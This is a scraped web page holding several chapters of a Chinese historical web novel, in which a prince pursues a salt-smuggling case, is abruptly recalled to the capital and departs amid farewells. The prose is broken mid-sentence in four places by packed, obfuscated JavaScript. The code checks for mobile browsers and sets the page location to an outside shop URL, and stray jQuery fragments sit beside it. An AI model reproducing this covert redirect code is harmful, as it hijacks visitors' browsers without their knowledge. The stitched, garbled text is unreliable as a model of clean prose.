l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837043|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与静字浑不沾边，是以在这样的环境中颇不自在。见叶望怡然自得，不由多看了几眼。 先前在陇西，甚少见王爷提笔，从来都是武艺切磋，使酒仗气，未曾想王爷竟是这般爱书喜墨之人。 不愧是王爷。 正想着，叶望抬头看他一眼，将书卷移至他面前：“写字静心，试试。” 葵生挠了挠头，有些为难：“王爷，我是个粗人……” “无碍，随心而书便是。” 葵生硬着头皮应道，开始在卷轴上涂写。 不知过了多久，门外传来邱族英小心翼翼的声音。葵生如蒙大赦，不愿再看他的鬼画符，猛地将卷轴一合。 “进。”叶望已戴回斗笠，葵生连忙也戴上。 邱族英一路急匆匆地赶来，到了门前有些退缩，想起盐铺的惨状，眼一闭，心一横，迈了进来。 屋内坐着两人，一人听声音是先前寻他之人，另一人虽看不见容貌，但衣着气度不凡，想来是位大人。 “邱掌柜想清楚了？”叶望开门见山。 邱族英点头，“不过在说之前，我想先见见小女。” “她眼下在隐蔽之处，不便见人，”叶望淡淡道，“不过有封亲笔信，可证她安全。” 邱族英连忙接过，细细看去。是婉儿的字迹，信中说她暂且安全，让他放心，又说对家人甚是思念，让他保重身体，切莫焦心。 他一行行看过去，眼眶发酸。 “如何？可以说了？”叶望拿回信件。 邱族英抹了把脸，平复情绪后，缓缓点头。 “那是半年前的事了，那日我同商友一道去盐铁司衙门收盐，衙门说新来了一批盐，打发我们去东水门的另一处盐仓。奈何那人急匆匆的，地方没说清便走了，我们几个面面相觑，只好去东水门找找。” “到了东水门，天色已不早。我们急着寻路，见着一些同我们穿着相似的壮汉，便跟着他们，想找着盐仓。走着走着到了同乐坊，我抬头一看，是一座锈迹斑驳的旧府。我心觉不对，拉住同行，远远瞧见他们进了里头。” “原以为找错了，结果同行里有一位眼尖的，瞧见另一侧的角门，驻守着府兵，有人陆陆续续运着什么。我凑近一看，竟真的是盐。” “如何断定？”叶望支着头道。 “大人，我自幼便长在盐堆里，对盐再熟悉不过了。隔老远，我都能闻出来气味。” “依你之意，盐铁司背地里经营私盐？” 邱族英重重点头：“极有可能。”他想起什么，补充道：“后来我在东水门码头也闻到过类似的气味，就是先前闹鬼的那个码头。” 东水门码头？叶望心中一凝，零零碎碎的信息后隐隐现出一道细丝，引导着将碎片连成一条绳链。 还缺点什么。 漕船案的舵夫生前说，那沉船上有许多水猴子，一入水就没，直把船往水里拽。 他闭目冥想，忽得灵光一现，睁开眼。 入水即溶，这便是了。 “此事当真？”叶望沉沉开口，心中抑制不住震动。 “若有半句虚言，天打雷劈。” 叶望点头：“旬日之后需你往衙门作证，不知可愿？” “但凭大人差遣。”邱族英顿首道。 叶望刚回绮陌楼，便听门外传来敲门声。 “何事？”叶望扬声道，装出几分不悦。 “殿下，京城来谕，奏事官在府里候着。”庞谨恭敬道。 奏事官？叶望迟疑了一下，他来广陵这些时日，虽定期向圣上送去请安折，从来都是有往无来，得不到一丝回应。而今忽然来了奏事官，所为何事？ 34. 赌局 暮色四合，却仍不减燥意。 奏事官站在庭院中，绯袍下的中衣被汗浸透，仍一丝不苟地展开黄绢。 “陛下口谕———” 随着一声诵读，叶望与众人一道，齐刷刷跪于中庭。 “虽值酷暑，然秋祭将至。朕夜观天象，恐节气有变，尔当三日内返京。” 叶望伏地的身子一顿，目光扫过奏事官腰间，那柄御赐弯刀的鲛皮鞘上，新缀了只有急使才用的五色穗子。 他微愣片刻，方才沉声道：“臣领旨。” “三日内？”待奏事官走后，葵生忍不住惊呼，“这时间未免太紧了些。” 叶望凝眸不语。八月便提秋祭，确是着急了些。至于为何这般急，他心中隐隐有些猜测，却不想细究。 “王爷，案子怎办？”青戈低声道。 一路查过来的私盐，好不容易有了突破，却因一句话，便戛然而止。 精心的布盘被粗暴打乱，难道就这般前功尽弃了？ 叶望心中纷乱，闭眼揉了揉眉心：“待本王想想。” ——— “什么？三日？”季辞秋的身子恢复了些，已能下床走动，便听闻如此噩耗。 “你没听错，三日！”葵生很是激动，似是还未接受这样的安排。 “这也太突然了。”季辞秋愣愣道。算算日子，自己在广陵竟呆了四月有余。如今忽然要离开，倒真不舍起来。 “是也！”葵生深表认同，“这人，总得要个缓和的时间吧。说走便走，只给三日周转，要我说，上头……未免有些不近人情。” 后面的那句话他没敢点名，只压低了声音小声嘟囔。 季辞秋勉强笑了笑，招之即来，挥之则去，这与她先前遇到的某些领导有何分别。 哦，还是有区别，圣人可容不得旁人蛐蛐。 季辞秋在心里又怒骂了一遍封建专制。她甚至有些同情叶望了，摊上这么个爹，也是够惨的。 “王爷怎么说？”她好奇道。 “王爷能怎么说，领旨呗。”葵生摇摇头，有些无奈。 “那先前查的那些呢？就这样戛然而止了？”她有些丧气。 葵生摊摊手，叹了口气。 说话间，青戈自门外走入，葵生立马迎上去，搭上他的背，关切道：“怎的不说话？” 青戈古怪瞥他一眼，将他的手从背上拽开，复又抱起臂。 “青戈，有什么难处万万不可憋在心里。”葵生紧追不舍，“说给兄弟们听，大伙帮你分担。”说完拍了拍胸脯，瞧上去十分可靠。 “白轩，你说是不是？” 季辞秋在一旁看得发愣，一时接不上话，不知葵生又哪根筋搭错了。 青戈那张冰块脸，整日不开口都算不上稀奇事吧。她心中腹诽，但还是表现自己的友好，调整了表情。 哪知刚准备应和，便听青戈一声冷哼。 “青戈，你看，你定是哪里不舒服，莫憋在心里了。”葵生像抓住了证据，紧追不放。 …… 青戈冰封不动的脸上终于因为无语而出现松动的迹象。也是奇怪，葵生近日失心疯般，对他格外热络。 热络地令人害怕。 还有方才那句“兄弟”，简直令人发笑。他经不住想，有朝一日，葵生知晓了白轩女子的身份，定会大惊失色，悔不当初。 看着眼前目光清澈、傻乐着的葵生，他在心里叹了口气，拍拍他的肩膀，头也不回地走了。 ——— 晋王要返京了，这个消息很快便传遍广陵的地方衙署。 “三日内便要启程？”薛世平用完午饭，正坐在值房剔牙。 “据说是圣上的旨意，说是忧虑节气多变，回途生故，遂早些启程。圣人慈爱，竟牵挂至此。”同僚感慨道。 薛世平放下齿签，心情复杂。 欢喜的是终将这尊大佛稳稳当当地送走了，可不知怎的，心中竟有一丝可惜。 深究起来，晋王在广陵虽常出没烟花柳巷，却未曾听闻有摄威擅势之事。在公事上也未对他过多为难，甚至特意点他经办太平坊户籍一事。 广陵这地不同其他地方，因着淮南节度使的存在，副使郭统又独断专行，使得刺史一职形同虚设。放在寻常，户籍的差事哪轮得到他来办，多半是交由郭统身边的心腹了。 他一个小小的刺史，早就习惯瞅着各路大官的眼色，做些锦上添花的差事博得一笑，为自己讨点身份。 只是，若真能为黎民尽些绵薄之力，心中倒甚是快慰。 薛世平唏嘘不已，要知道，当他得知晋王要来广陵，又听闻其在京城的所作所为，以为自己定要官位不保，险些在值房哭了出来。 “我去探探宋节使那边的意思，办个饯行宴。”薛世平起身出了门。 节度使府已先一步得了消息。宋延正于营中排兵布阵，只见郭统匆匆入内。 “何事？” “节使，圣人派了奏事官到晋王府上，令晋王三日内返京。”郭统急急说着，语气轻快。 宋延未有反应：“圣人可还说了什么？” “还带了话到节度使府，说承蒙府上对晋王的关照。” 口头上的寒暄，无关紧要，宋延擦了擦枪柄。 过了一会，府上来报：“薛刺史求见。” “哼，鼻子挺灵，闻着味了，又巴巴凑上来。”郭统冷笑道。 薛世平毕恭毕敬地躬着身子上前，小心翼翼地瞅一眼二人脸色，见无异样，方道：“节使副使，下官方才得知晋王殿下不日返京，想办一场饯行宴，以尽广陵地主之谊。不知二位大人意下如何？” “饯行？我看不必了吧。”没等宋延回话，郭统抢先道，“劳民伤财，不知情的，以为我淮南节度使府同殿下一样，挥霍无度呢。” “我瞧着不错。”宋延倒了碗茶，“征战临行之前都要饯行，晋王离开广陵，我节度使府一声不吭，失了礼节，岂不被旁人笑话？” “节使，征战与此事，不可混为一谈吧。”郭统争辩道，“行军打仗的规矩，亦是不适用的。” 薛世平没敢吭声。 “一场宴席罢了，节度使府还不差这点钱。”宋延打断道，心中升起不悦。放权给郭统的这些年，他渐渐感觉，郭统愈发目空一世。 在一些事上郭统已不再先行过问他的意思，往往自作主张，先斩后奏。好在没出乱子，他便也闭口不谈，专心练他的兵去。 可今日这宴，他是办定了。自己堂堂淮南节度使，想办个宴，哪容旁人指手画脚？何况郭统还是个副使，掌事久了，便忘了自己的身份了？ 宋延将碗推至一旁，对薛世平道：“此事就这般定了，麻烦薛刺史筹备下了。” 薛世平没敢看郭统脸色，连忙应道：“哪里哪里，下官分内之事。” —— “表哥要走了？”阿黎不知从何听的消息，匆匆赶过来。 季辞秋叹了口气，点点头：“如非意外，三日内便启程。” 阿黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845941|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一时怔住，好久反应过来，已是红了眼眶。 季辞秋心中亦是难受，伸手揉了揉她的头，勉强挤出一句宽慰：“聚散本乃人间寻常事。” “况且，往后或可有机会再见。” 这话一出，二人皆默了默。广陵同长安山川相隔，路途甚远，重逢谈何容易。 “不就是长安嘛......”阿黎忽得吸了吸鼻子，口中喃喃，像是笃定了一般，“表哥，等我成为天下闻名的方大画家，便去长安寻你，带上爹爹和姥姥。” “好，”季辞秋笑着看她，“等你来了长安，表哥带你去逛曲江池，吃长安第一酒楼，看繁星般的烟花，比河灯节的更盛大更耀眼。” “真的？”阿黎眼睛亮了亮，装满了憧憬，“一言为定！” “一言为定。”两只手在空中碰拳，寄托他日的期望。 沉重的心情好似轻松了些，阿黎抹了抹眼，恢复了先前的俏皮：“表哥，返程时间若是定下，定要告诉我，我去送你。” “嗯。”季辞秋点点头。 “我要赶紧去画摊了，表哥再见！” “快去吧，路上小心些。”季辞秋站在门口，看着阿黎急急忙忙离开的背影许久，回了房。 海棠树后现出一道身影，叶望正欲出门，恰好撞见季辞秋与她那表亲交谈，便在暗处听了一会。听二人的语气，确是亲密无间。 也不知她一女子，是如何骗得那一家人的，又有何目的。 叶望目光沉沉，收起思绪，径直穿过前廊。 “去绮陌楼。”他看了一眼守在门口的庞谨，撂袍上了马车。 “这般突然，”杜琼玉得知叶望三日内返京，亦是惊诧，“殿下在广陵数月有余，此番圣上急召回京，可是有何急事？” “只说秋祭将至。”叶望淡淡道。 “这便奇怪了，”杜琼玉拧眉，“莫非……”她看了一眼叶望，欲言又止。 莫非圣上觉察叶望在查私盐，遂急召他回京？可私盐之事于国有害无益，为何阻拦？杜琼玉对宫里的事知之甚少，不敢妄下推论。 “既成定局，揣测已是徒劳。”叶望面无表情，“如今千牛卫的监视愈来愈紧，难以孤身行事。” “殿下打算如何？” “杜姑娘，你在广陵已有些年数，不知可有听说宋延的为人？” “淮南节度使？”杜琼玉愣了愣，思索起来，“节度使府大小事务均由郭统打理，倒是不常听说宋节使……” “不过，五年前，也就是我初来广陵的第一年，那时宋节使还掌事，倒是与现今不同。”杜琼玉回忆道。 “有何不同？” “虽说民间对一些官府规定有异议，但终归是敢开口的，不似如今缄默。还有，街边的乞者也不似如今这般多。” “如此看，宋延与郭统不是一类人？” “不像，”杜琼玉摇摇头，“在我印象中，宋节使的行事要缓和许多，亦良善许多。只是不知为何，后来他沉迷练兵，不管政事了。” “我明白了，”叶望饮了口茶，心中有了底，“多谢杜姑娘。” “殿下客气。”杜琼玉应道，忽得看他一眼，迟疑道，“殿下该不会……” 叶望扯了扯笑，看向窗外。已是夏末，江面如练，被斜阳染作碎金。对岸青山笼在薄雾里，山顶已见些许秋意。天边掠过雁阵，一些振翅向南，一些仍徘徊在芦苇荡中，欲与寒节相迎。 事已至此，进也不是退亦不是，不如押上牌九，赌一把人心。 35. 饯行 为全始终之仪，饯行宴仍设于接风时的绮陌楼。不知是出于私心亦或殷勤，为了办好这场宴席，薛世平格外卖力。 “薛刺史，别的不说，你这操办之才不输府内管事啊。”同僚揶揄道。 薛世平好脾气地笑笑，翘首看着坊口。 不一会儿，一架金丝楠木马车辘辘而行，转眼便到了眼前。车上下来一俊朗男子，正是晋王殿下。 薛世平忙迎上前，毕恭毕敬道：“恭候殿下多时，里边请。” 入了大堂，眼前一亮。两侧朱漆柱上缠金丝绦，烛火映得满堂流光。堂中设紫檀长案，银盘玉盏列阵般排开。屏风后的乐姬正徐徐弹奏曲乐，只闻其声不见其人。 一众缙绅已在席间候着，见叶望入内，纷纷起身拜见。叶望环顾四周席位，紧邻着宋延入座。 身披罗绫的舞姬随着突然激扬的乐声迈着碎步上台，纤足踏着鼓点，裙裾旋开金牡丹。时而聚作玉山将倾，时而散作流云四逸。 “甚好！”叶望灌了些酒，率先叫好起来。气氛逐渐热烈，酒意上来，众人不再拘束，三三两两聚在一起，划拳助兴。 宋延对拼酒全无兴趣，他看了一眼一旁醉作一团、与人称兄道弟的郭统，皱了皱眉，起身往中庭走去。 叶望坐于席位，笑迎连绵不断前来祝酒的众官，终于不胜酒力般，将酒樽搁下。 “李兄豪迈，本王佩服。”他瞧着对面一饮而尽的大汉赞道。 “不敢不敢。”大汉面上浮起得意，嘴上谦虚道。 “非是本王扫兴，但喝得着实多了些。”叶望佯装酒醉，揉了揉额角。 薛世平眼观六路耳听八方，特意留神着，听了这话，忙道：“殿下可是乏了，要不散了吧。” 叶望扫了一眼正在兴头上的众人，摆摆手：“不必，本王去中庭走走，醒醒酒。”说着站起身来。 “哎。”薛世平应道，欲扶着叶望同去。 “本王一人便好。”叶望懒懒说着，抬脚迈过门坎。 青石板路蜿蜒穿过一池清泉，泉中锦鲤甩尾，搅碎满池云影。岸边一道朱红回廊，被翠竹掩映，隐隐有人影晃动。 叶望稳了稳神，径直朝回廊走去。 尽头，宋延正坐于池边，有一搭没一搭地喂鱼。听见声响，他偏头看过来，目光凝了一瞬，收手起身。 回廊狭长，二人在两端无声对峙，叶望先开了口：“宋节使，好巧，你也出来醒酒？” “殿下雅兴，”宋延行了个礼，不愿多说，只点点头，“下官先行一步，就不叨扰了。”说着抬脚便要离开。 “节使留步。”叶望不紧不慢道，“一人赏园甚是无趣，节使陪本王走走？” 话说到这，便是不去也得去了。宋延抿抿嘴，回过身来。 “此行广陵，有劳节使照拂。”叶望步至池边，从架上取了些鱼食。 “殿下过誉，微末之劳，不敢当此。”宋延面无表情道。 “广陵山川秀丽，当真是块风水宝地，想必也是极养人的。” 宋延没出声，等着叶望后面的话。 “只是待了久了，见了一些怪事，不知当不当讲。” 宋延抬眼瞥他：“殿下请便。” 叶望慢慢松手，任鱼食顺着指隙漏下，缓缓道：“本王厌饫珍馐，偶访市井小馆数处略作品尝。可十之有九，口味寡淡。问了店家，皆言盐价过贵，遂在菜里缩减了用量。” “这倒没甚，但本王偶然听闻有盐商在大市街边低声咒骂，话里话外……”他忽得停住，看了一眼宋延，压低声音道，“说的似是私盐。” 宋延原本面色无波，听到此瞳孔紧缩了一下，强装镇定道：“私盐之事非同小可，殿下怕是听错了罢。” “许是吧，”叶望满不在乎地点头，继续喂鱼，“不过我还听他提到郭副使，不知是何事。” 宋延沉默半晌，见叶望云淡风轻，似乎方才只说了句无关紧要的话，却在他心里掀起风浪。 不愧是那姓季的爱将，挑拨有得一手。 “宋节使万莫说本王挑拨离间，”叶望好似看穿了他的心思，补充道，“但有一言，本王务必要说出口。” “权柄久假恐渐迷虚实，民瘼不亲恐隔雾观渊，此非良臣之道。” 宋延有些诧异地看向叶望，见他眼中没了寻日的浮浪，竟沉沉地震慑人心，然而只一瞬便消失不见。 “酒后之言，若有得罪，还望节使海涵。”叶望眯了眯眼，眼波流转，勾起笑。 宋延哑然。 “对了，还有一事。”他又想起什么，忽得道，“四年前与契丹之战，并非陇西军有意抢功，乃我军斥候窥见契丹有绕袭淮南军后路之图，遂于中途截击，尽数剿灭。” “此事原不必说，然故人已殁，今借此机会相告，以解旧结。”叶望将手中残余鱼食一洒而尽，池边聚集的鱼群随着鱼食落入水面，一哄而上，搅动起滚滚水波。 宋延僵在原地许久，不知叶望何时离开，只觉酒意全无，心头砰砰直跳。 方才的话太过意外，叫他措手不及。这么些年，他不是未有过此猜测，但还是选择认定陇西军抢功，心中愤懑，顾影自怜许久，仿佛这样可以让他好受些。 一丝羞愧与恼怒交织的情绪爬上脊背，这番话像一面铜镜，将他的懦弱与逃避全数映出，令他无处遁形。 他想起方才叶望提的私盐，话里话外，似是在提醒什么。他目光沉沉，抹了把脸，驱散朦胧酒意。 —— 广陵的最后一宴，葵生拉着季辞秋与青戈，嚷嚷着不醉不归。然而饯行宴上，他面对满桌山珍海味，蓄势待发，早已将酒盏抛至一旁，只恨不能生出三头六臂，将佳肴悉数收入腹中。 青戈冷眼旁观，对他这副模样早已见怪不怪。季辞秋沉默看了一会，忍不住提醒：“悠着点，仔细吃坏了肚子。” “无事，这才哪到哪，你可别小瞧我。”葵生含着羊腿，口齿不清，还不忘提醒旁人，“羊腿快些吃，冷了风味便不佳了。” 季辞秋抽了抽嘴角，顺势将碟盏端至他桌案。 “你不吃？”葵生瞪大眼睛道。 季辞秋摇摇头。 葵生张大嘴巴，似是不信竟有人能拒此美味，转而笑嘻嘻道：“那我便笑纳了。” 季辞秋弯了弯嘴角，看向叶望的位席。 咦，怎得没人？她心中疑惑，不知叶望何时离席，再一看，一旁的位子亦是无人。若未记错，那里方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16860228|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才坐着的是淮南节度使宋延。 她隐隐觉着蹊跷，想到自她抢亲受伤后，便对私盐案的后续一无所知了，也不知有何进展。如今圣上忽令叶望三日返京，调查猝然停滞，颇有中道崩殂之感。 叶望会甘心如此？她不太相信。私心里，她希望叶望能查清。不仅是因这是叶玄派给她的任务，更是因调查的过程中，她亲眼所见的因私盐饱受煎熬的芸芸众生。 只是这条路艰难重重，见得多了，时常生出深深的无力感。 “历史必然”，她又这样劝自己。她不过是偶然误入其中的外人，好像很难做些什么。就算做了，也很难改变什么。 等脱离了罪身，便将这些通通抛下吧。她一遍又一遍对自己说。 宴席上划拳声此起彼伏，太过喧嚣。季辞秋出了酒楼，步至江边。 已近黄昏，江面浑黄，似陈年绢帛铺展开去，一直延升至天际。晚归的渔舟拖着疲惫的剪影，木桨搅碎粼粼灯影。 季辞秋临江而立，任凭江风吹拂，久久凝望着江面。明日就要离开，怕是再难见这般绝景了。 她静立许久，余光瞥见高处的一抹亮色。抬头望去，只见二楼临江的轩窗全然敞开，窗边坐着位雪肤花貌的女子。 琼娘？她心头一动，探究看了看。女子着一身海棠红裙，在渐浓的夜色里灼灼。窗内笙歌未歇，她却好似没听见般，单手支颐，静静望着窗外苍茫的江水。 坊间传言说，琼娘自京城而来。山高水长，独在异乡，孤身一人时，会想家吗？她静静看着。 楼上人似是觉察她的视线，朝下瞧来，对上她探究的目光。她心头微愣，一时竟忘了移开眼。 意识到失礼，她忙垂下头，却见女子眉眼弯弯，嘴角绽出一笑，如暗夜昙花。 她心尖温热，亦回之一笑。 —— 夜已深，黎叔还在忙着打点行装。此行仓促，来不及细细筹备，只好拣些要紧的置办。 静水轩中亦灯火通明，回府后，叶望便沐浴更衣，洗去一身的酒气，眼下散着头发，着一件月白中衣坐于院中。 他想起什么，喃喃道：“黎叔，本王上次毒发是何时？” 黎叔停下手中的活计，答得干脆：“四月廿八。” 算起来，距今已近四个月。 “王爷感觉可好？”黎叔担忧道。 “无碍。”叶望淡淡道，上次毒发提前，为了压制毒性，免得拖累查案进度，私下里他按太医嘱咐的至高量服的药。如今看来，是有些效果。 黎叔点头：“王爷若有不适，定要同老奴说。” 叶望点头。 说话间，青戈自外头而来。 “如何？”叶望目光沉沉。 “王爷，都办妥了，未引起怀疑。” 叶望点头。饯行宴结束，他吩咐青戈将一封匿名信送到宋延府上，信中将数月以来的调查结果悉数写上，引出了一条清晰的路。 虽有风险，却是他现今唯一可行，剩下的，便看天意吧。他仰头望着中天的明月，忽得想起在长平时，每当恶战前夜难以入眠，与季恪坐在营地前的草堆上时，也是这样看着明月，赌明日的生死。时过境迁，天翻地覆，竟又似误入轮回。 36. 离别 返程的这天，恰逢寒潮，天上飘起细细密密的雨，打落一地纷杂。 黎叔紧了紧衣领，迈着小碎步躬身穿过中庭，缓缓拉开府门。 “叔，都在这儿了。”一精壮男子叉腰站着，旁边是一挪装着粮草的麻袋。 此次回京，因着秋季将至，河道渐浅难行大船，是以返程走的是陆路。 他提前清点了配备，发现宫中虽遵循礼制安排了合规的车架马匹，却在粮草规格上明显缩减。虽说可在驿站补给，但路途遥远，极易有变，是以黎叔趁着还在广陵，额外多采买了些，以防不备。 “辛苦你了。”他点点头，看着成堆的粮草，心里踏实了许多。 “黎叔，有什么需要帮忙的？”葵生着急忙慌地出门，遇着寒气，将撸起的袖子放下，搓了搓手。 黎叔摇了摇头，笑道：“忙你的去。” 另一道门打开，季辞秋打了个激灵，见二人在院中，揣着手道早。 “王爷。”黎叔的声音响起，见叶望着一身乌黑窄袖锦袍走来。 “准备得如何？” “万事俱备。”黎叔笑答。 就这样，一行人将来时的行囊装上车，踏上归途。 季辞秋与葵生骑马护在叶望的马车前头，千牛卫的一众侍卫跟在后头。 “怪了，青戈呢？”季辞秋环顾四周，疑惑道。 “哦，你问他啊，”葵生勒紧缰绳，看着前路，“他不回京。” “不回？”季辞秋一愣，很是诧异，“为何？”他不是想跟着叶望吗，怎会不回？ “不知，”葵生摇摇头，有些没精打采，“他只说他有些事还未做完，要留在这儿一并做了。” “哦……”季辞秋没继续问，捂了捂右肩应道。 说话间，队伍行至城外长亭，一众地方官员身着官服，按品阶分立道旁，翘首以待。一些民众不知从哪得了消息，凑在外圈围观。 见车架至，众官齐整叩拜，薛世平上前朗声道：“殿下亲临广陵，泽被江淮。今奉薄礼，聊表寸心。”言毕击掌三声，奉上三只红木箱，里头分是《广陵风物志》一册，琼花酿五坛和珠宝满盈。 叶望掀开车帘走下，步至木箱前，笑道：“众官的心意本王心领，只是此行路途遥远，轻装上阵，车上未留太多空间。” “这……”薛世平脸上露出一丝为难。 “风物志与琼花酿本王收下了，”叶望指了指，干脆道，“只是这珠宝，烦请薛刺史收回罢。” 最值钱的不要，薛世平愣了愣，只得道好。 趁着众官同叶望寒暄，季辞秋下了马，在人群中搜寻。 “表哥！”一声清脆的女声响起，她回头看去，只见阿黎拉着方婆与方建民跑过来。 “舅舅，舅姥。”季辞秋咧嘴笑道。 方建民没见过这般大的场面，有些局促地搓着手：“怎么走得这般急？若是早知道，我同你舅姥定要多留你吃几顿饭的。” “就是啊，”方婆点头应和，递过来一个白布罩子，“家里没什么能送你的，听阿黎说你喜欢吃饼，我便烙了些，方便带着，在路上吃。”白布打开，里面是金黄带葱、满满当当的煎饼。 季辞秋心头暖暖，吸了吸鼻子：“谢谢舅姥。” “还有这个，”阿黎变戏法般，从身后摸出一柄卷轴，“我这几日赶工画的，表哥打开瞧瞧。” 季辞秋好奇展开，不由得惊叹出声。画上江水滔滔，横无际涯。落日的余晖洒下，将波光粼粼的江面熔为赤金。近处柳树葱郁，十里长堤笼成淡青的绸缎。堤上站着一人，仔细看去，不是她是谁？ “先前表哥常言美景稍纵即逝，想用‘守机’将其留下。我跑了好多铺子，也不知何处有卖。”阿黎挠了挠头，“我便想着用画笔试试，简陋了些，不知可能还原一二。” 季辞秋看着阿黎困惑的神情，不觉失笑。自己随口说的“手机”，她竟默默记在心里，琢磨了好一阵。 “当然，不仅还原，还好看得多。”她认真道。 “真的？”阿黎有些惊讶。 季辞秋端详着画许久，鼻头微酸，抬手摸了摸阿黎的头：“傻孩子，此物可比‘守机’拍的珍贵千倍万倍。” 阿黎似懂非懂地点点头，绽出一个笑容：“表哥喜欢便好。” “白轩——”葵生的声音自远处响起，季辞秋回头张望，又转头看着方家三口，依依不舍。 “快去吧。”方建民笑了笑，招了招手。 就要出发了，她定定瞧了三人最后一眼，心中涩涨难敌，终是转身向车队跑去，再也没敢回头。 —— “你还好吧？”葵生见季辞秋一路上一言不发，神情恹恹，忍不住道。 季辞秋瞧他一眼，深吸一口气，摇头：“无事。” 与阿黎一家道别后，她虽心中难受，却也知离别乃人生常态，不可强求。只是不知怎的，胸中钝痛仍在，且有加重的迹象。 怪了，她扯了扯缰绳，欲稳马身。 “你确定？”葵生瞅了一眼季辞秋愈发苍白的脸色，半信半疑道。 季辞秋沉默，腾出一只手按了按胸口。哪知这一按，勾起一阵撕裂的疼。紧随着葵生一声惊呼，她低头看去，只见黑色骑装的右肩处颜色发深，手上映上了星星点点的血。 她脑中一阵眩晕，强撑着精神，才没从马背上摔下。 葵生忙驱至她身侧，帮她稳住马，回头对着队伍大喊：“停一下——” “何事？”叶望听着动静，掀开车帘道。 葵生搀扶着季辞秋下马，如实禀告：“王爷，白轩的伤口裂了。” 伤口将将愈合，经过一路骑马颠簸，终是撕开了。 “怎么不走了？”庞谨自队尾喊道。 葵生同庞谨说明缘由，庞谨放松下来，复又催促道：“方才长亭耽搁，若想天黑之前到驿馆，需加紧赶路。” 季辞秋额头冒汗，望了眼停滞的队伍，咬牙道：“无碍，我再裹几道便是。”说着便要去取绷带。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870121|189194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“创口既裂，强以束带缚之，易溃烂。”叶望淡淡的声音响起，她翻找的手一顿。 “王爷此言不虚。”葵生应和道，忽得灵机一动，拍手道，“既是骑马所致，那便莫骑了，与王爷同乘马车便是。” 季辞秋额角跳了跳，两眼一黑。许是做贼心虚，一想到要同叶望共处那样小的空间，她便抗拒得想逃。 何况，人堂堂殿下的专车，让她坐，多冒昧啊。 可伤口又着实疼得紧。 思及此，她瞟了一眼叶望，见他平静无波的脸上似乎未有多大变化，只回身饮茶。 “速去吧。”葵生推了推季辞秋。 “王爷还未同意……”她迟疑道。 “王爷这样便是准了。”葵生不假思索道，“还要赶路，快去吧。” 季辞秋将信将疑，步至马车前，犹豫了一下，掀开车帘一角。 “叨扰王爷了。”她低声下气，见叶望毫无反应，轻手轻脚地踏上，坐在对侧一角。 空气瞬间凝滞，她想起先前与叶望同乘一车时，亦是这般尴尬。彼时他问起她为何谎称自己是右仆射的人，叫她惊出一身冷汗。 广陵之行就这般仓促而止，也不知先前所做之事可否起些效用，叫陆定年倒台地快些。 她心事重重，盯着地板发呆。 对面的叶望亦心事重重，此次返京，因着青戈在广陵入他门下，为避事端，惹起争议，他便未随他一同回京。杜琼玉得了舞弊案的线索，无需再留广陵了，待了了广陵的一堆事，恰好随青戈一同回京。更重要的是，他需知晓宋延得了密信后的一举一动，好提前应对。 还有一事，叶望看了对面人一眼，目光沉沉。天机阁说，白轩是无影堂的外门生，他令青戈查过一番，未有收获。如今看来，天机阁竟收过女子做门生，且因着某些原因，后来将其名字划去了。其中秘辛，还需再探。 二人各怀心思，一路无言。 天刚擦黑，众人抵达了驿馆。驿丞早早清道封驿，将许久不用的上房熏香扫尘，备好良马，在门前候着。 一日的行路，众人疲惫异常，纷纷入房歇息。 夜深人静，一只信鸽悄声飞至一扇窗前。叶望执灯快步上前，取下信纸，就着微弱的烛光细细看去，神色逐渐缓和。 他们前脚刚离广陵，宋延便派人去大市找邱家求证。邱族英依照先前约定，与一众小辈一起，举报官府私盐。宋延一行又风风火火赶去同乐坊，趁里面的人还未撤离，查抄了那栋府宅，果真在其中发现了私盐。 宅中之人均被捕入狱，眼下正逐个审问，盘查背后主谋。 郭统虽有意阻拦，可宋延似憋着口气般，雷厉风行，颇有破釜沉舟之势，叫郭统束手无策。 进展比想象中顺利，叶望眸光幽沉，暗藏点点星光。 私盐一事，由宋延牵头去查，再合适不过。剩下的，便是耐心等待。 他将信纸用烛火引燃，往火盆中轻轻一丢，火舌肆虐吞噬黄纸，眨眼化作灰烬。 37. 流民 从广陵至长安的官道绵延三千里，需经七洲十八驿。叶望一行连日行路，一路北上。过了淮水，杨柳桑田渐稀，取而代之的，是成片的粟麦地。 